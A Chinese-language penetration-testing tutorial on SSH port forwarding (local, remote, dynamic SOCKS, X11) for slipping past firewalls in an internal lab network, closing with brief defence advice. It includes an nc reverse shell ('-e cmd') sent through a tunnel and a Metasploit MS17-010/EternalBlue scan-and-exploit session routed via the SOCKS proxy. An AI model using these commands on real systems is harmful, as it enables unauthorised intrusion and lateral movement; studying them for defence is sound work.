在内网中几乎所有的linux服务器和网络设备都支持ssh协议。一般情况下,ssh协议是允许通过防火墙和边界设备的,所以经常被攻击者利用。同时ssh协议的传输过程是加密的,所以我们很难区分合法的ssh会话和攻击者利用其他网络建立的隧道。攻击者使用ssh端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。
一个普通的ssh命令如下: ssh root@192.168.1.1 <mailto:root@192.168.1.1> 创建ssh隧道的常用参数如下:
-C:压缩传输,提高传输速度 -f :将ssh传输转入后台执行,不占用当前的shell。 -N:建立静默连接(建立了连接,但是看不到具体的会话) -g
允许远程主机连接本地用于转发的端口。 -L:本地端口转发 -R:远程端口转发 -D:动态转发(socks代理) -P:指定ssh端口。   1.本地端口转发
测试环境如下: 外部vps可以访问内网web服务器,但是不能访问数据库服务器,内网web服务器可以和数据库服务器互相访问。
测试目标:以web服务器为跳板,访问数据库服务器的3389端口。 修改ssh服务器配置文件 /etc/ssh/sshd_config –
PermitRootLogin yes – Port 22 – PasswordAuthentication yes ▪ service ssh restart
  ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p
<ssh server port> ssh -fCNg -L 1153(vps端口):192.168.190.136(目标主机):3389(目标端口)
root@192.168.174.133(跳板机) ssh -fCNg -L 1153:192.168.190.136:3389
root@192.168.174.133 -p 22 netstat -anptl | grep 1153
查看本地1153端口,可以看到1153端口已经开启侦听。
使用rdesktop连接vps的1153端口,可以发现已经与数据服务器192.168.190.136的3389建立了连接 rdesktop
127.0.0.1:1153
ssh进程的本地端口映射可以将本地(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发则是在本地(客户机)监听一个端口,所有访问这个端口的数据都会通过ssh隧道传输到远端的对应端口。
  加密传输: linux1 : 192.168.190.110 linux2: 192.168.190.133 win7: 192.168.190.136
win2008: 192.168.190.132
在linux1和linux之间建立一条ssh隐秘隧道,使win2008将自己的shell通过ssh隧道反弹给win7。 在linux1上执行如下命令: ssh
-fCNg -L 7006:192.168.190.136:333 root@192.168.190.133 -p 22 在win7上使用nc监听本地333端口
nc -lvp 333 在win ser2008上使用nc连接linux1的7006端口 nc.exe 192.168.190.110 7006 -e cmd
回到win7上可以看到已经获得了win2008的shell了。   2.远程端口转发 测试环境如下: 左侧为攻击者vps(kali
linux);右侧是一个小型内网,包含三台机器;内网没有边界设备,所以外部的vps不能访问内网中的三台机器;内网web服务器可以访问外网vps,数据库服务器和域控服务器均不能访问外网的vps。
测试目标:通过外网vps访问数据库服务器的3389端口。
以web服务器为跳板,将vps的1521端口的流量转发到数据库服务器的3389端口,然后访问vps的1521端口,就可以访问数据库服务器192.168.190.136的3389端口了。
在web服务器上执行如下命令: ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH
server> -p <ssh server port> ssh -fCNg -R
1521(vps端口):192.168.190.136(目标主机):3389 root@192.168.190.110 ssh -fCNg -R
1521:192.168.190.136:3389root@192.168.190.110 <mailto:root@192.168.190.110>
netstat -anptl | grep 1521 查看远程vps(192.168.190.110)发现已经开启对1521端口的监听 rdesktop
127.0.0.1:1521 访问vps的1521端口,即可与数据库服务器的3389端口建立连接。
总结:本地转发是在本地监听并将远程主机某个端口的数据转发到本地服务器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地的对应端口上。
  3.动态转发 测试环境如下: 在vps上执行如下命令,建立一个动态的socks代理通道 ssh fCNg -D 7000
root@192.168.174.133 <mailto:root@192.168.174.133>
查看本地7000端口的监听是否已经启动,可以看到ssh正在监听7000端口。
然后,在本地打开浏览器并设置网络代理,通过浏览器访问内网域控制器(192.168.190.132)。  
此时,也可以使用metasploit挂socks代理扫描目标内网ms17-010
msfconsole -q msf5 > setg proxies socks5:192.168.174.130:7000 msf5 > use
auxiliary/scanner/smb/smb_ms17_010 msf5 auxiliary(scanner/smb/smb_ms17_010) >
set rhosts 192.168.190.132 msf5 auxiliary(scanner/smb/smb_ms17_010) > set
threads 10 msf5 auxiliary(scanner/smb/smb_ms17_010) > run msf5 > use
exploit/windows/smb/ms17_010_eternalblue msf5 > set rhost 192.168.190.136 msf5
> set lhost 192.168.174.130 msf5 > set lport 444 msf5 > set ReverseAllowProxy
true msf5 > exploit
总结:动态端口映射就是建立一个ssh加密的socks代理通道。任何支持socks4/5协议的程序都可以使用这个加密隧道进行代理访问。   4.X协议转发
1.远程登陆 Linux GUI 运行图形化界面工具,类似于VNC和X windows。 2.防火墙限制访问时,可以尝试通过 SSH 的 X 转发 ssh
-X root@192.168.199.165 <mailto:root@192.168.199.165> -p 53   X协议转发测试
可以使用远程主机的图像化工具 ssh -X root@192.168.199.165 <mailto:root@192.168.199.165>  
 5.ssh隧道防御
ssh隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置ssh远程管理白名单,在ACL中限制只有特定的ip地址才能连接ssh,以及设置系统完全使用带外管理等方法,都可以避免这一问题。如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制ssh远程登录的地址和双向访问控制策略(从外部到内部、从内部到外部)。